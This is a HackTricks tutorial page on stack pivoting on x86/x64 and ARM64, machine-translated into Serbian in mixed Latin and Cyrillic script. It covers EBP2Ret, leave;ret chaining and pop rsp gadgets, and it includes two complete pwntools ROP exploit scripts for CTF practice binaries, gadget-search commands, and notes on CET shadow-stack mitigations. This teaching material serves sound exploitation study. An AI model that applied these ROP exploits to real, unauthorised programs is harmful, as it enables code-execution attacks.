hacktricks/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

293 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP/RBP)** da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i **`leave; ret`** instrukcijske sekvence.
Kao podsetnik, na x86/x86-64 **`leave`** je ekvivalentno:
```
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack.
> Napomene
> - Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
> - Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju, `leave` možda neće biti prisutan i ova tehnika neće raditi.
### EBP2Ret
Ova tehnika je posebno korisna kada možete **izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP**. Ona koristi ponašanje epiloga funkcije.
Ako, tokom izvršenja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se uzela u obzir `pop`), možete indirektno kontrolisati RIP. Kada funkcija vrati, `leave` postavlja RSP na kreiranu lokaciju, a sledeći `pop rbp` smanjuje RSP, **efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo**. Tada će `ret` koristiti tu adresu.
Napomena kako **morate znati 2 adrese**: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će `ret` konzumirati.
#### Konstrukcija Eksploata
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke/adrese**. RSP će pokazivati ovde i **konzumiraće prvi `ret`**.
Zatim, morate izabrati adresu koju koristi `ret` koja će **preneti izvršenje**. Možete koristiti:
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** praćenu odgovarajućim povratkom i argumentima (na x86: `ret` cilj = `&system`, zatim 4 bajta smeća, zatim `&"/bin/sh"`).
- Adresu **`jmp esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu inline shellcode-om.
- [**ROP**](../rop-return-oriented-programing/index.html) lanac postavljen u memoriji koja se može pisati.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti **prostora za `pop ebp/rbp`** iz `leave` (8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite **drugi lažni EBP** i zadržite kontrolu nakon što se prvi poziv vrati.
#### Off-By-One Eksploit
Postoji varijanta koja se koristi kada možete **samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP**. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti.
Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se izvrši konačni ROP lanac.
### EBP Lanci
Postavljanjem kontrolisane adrese u sačuvani `EBP` slot steka i `leave; ret` gadgeta u `EIP/RIP`, moguće je **premestiti `ESP/RSP` na adresu koju kontroliše napadač**.
Sada je `RSP` pod kontrolom i sledeća instrukcija je `ret`. Stavite u kontrolisanu memoriju nešto poput:
- `&(next fake EBP)` -> Učitano sa `pop ebp/rbp` iz `leave`.
- `&system()` -> Pozvano sa `ret`.
- `&(leave;ret)` -> Nakon što `system` završi, premesti RSP na sledeći lažni EBP i nastavlja.
- `&("/bin/sh")` -> Argument za `system`.
Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa.
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ali složenije i korisno samo u ivicama.
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je `system`, dodajte uređaj za poravnanje (npr., `ret`, ili `sub rsp, 8 ; ret`) pre poziva kako biste održali poravnanje i izbegli `movaps` rušenja.
## EBP možda neće biti korišćen
Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, **EBP/RBP nikada ne kontroliše ESP/RSP**. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja sa pokazivača okvira.
- Nije optimizovano / pokazivač okvira korišćen:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- Optimizovano / pokazivač okvira izostavljen:
```bash
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
```
Na amd64 često ćete videti `pop rbp ; ret` umesto `leave ; ret`, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji `rbp`-bazirani epilog kroz koji se može pivotirati.
## Drugi načini za kontrolu RSP
### `pop rsp` gadget
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Proverite ret2esp tehniku ovde:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
### Brzo pronalaženje pivot gadgeta
Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne:
- `leave ; ret` na funkcijama ili u bibliotekama
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (ili `add esp, <imm> ; ret` na x86)
Primeri:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Класични образац за пивотирање
Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима:
1) Користите мали иницијални прелив да позовете `read`/`recv` у велику област за писање (нпр., `.bss`, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо.
2) Вратите се у пивот гажет (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) да преместите RSP у ту област.
3) Наставите са постављеним ланцем (нпр., откријте libc, позовите `mprotect`, затим `read` shellcode, а затим скочите на њега).
## Савремене мере које прекидају пивотирање стека (CET/Shadow Stack)
Савремени x86 ЦПУ-ови и ОС-ови све више примењују **CET Shadow Stack (SHSTK)**. Са укљученим SHSTK, `ret` упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први `ret` из пивотираног стека.
- За позадину и дубље детаље погледајте:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Брзи прегледи на Линуксу:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Beleške za labove/CTF:
- Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela `nousershstk`, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima.
- JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida `ret`-zasnovane pivote.
- Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na `ret`; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu).
## ARM64
U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u steku. Štaviše, **`RET`** instrukcija se ne vraća na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
Stoga, po defaultu, samo zloupotrebljavajući epilog **nećete moći da kontrolišete SP registar** prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
- prolog
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pokazuje na okvir zapisa
```
- epilog
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz steka i imamo preliv) i zatim **zloupotrebljavati epilog** da se učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Reference
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bita, eksploatacija off by one sa rop lancem koji počinje sa ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Zloupotrebljavajući ovo "večito" pisanje, u .bss se piše ROP lanac i završava pozivajući ga pivotiranjem sa RBP.
- Dokumentacija Linux kernela: Tehnologija za sprovođenje kontrole toka (CET) Senčani stek — detalji o SHSTK, `nousershstk`, `/proc/$PID/status` zastavicama i omogućavanju putem `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}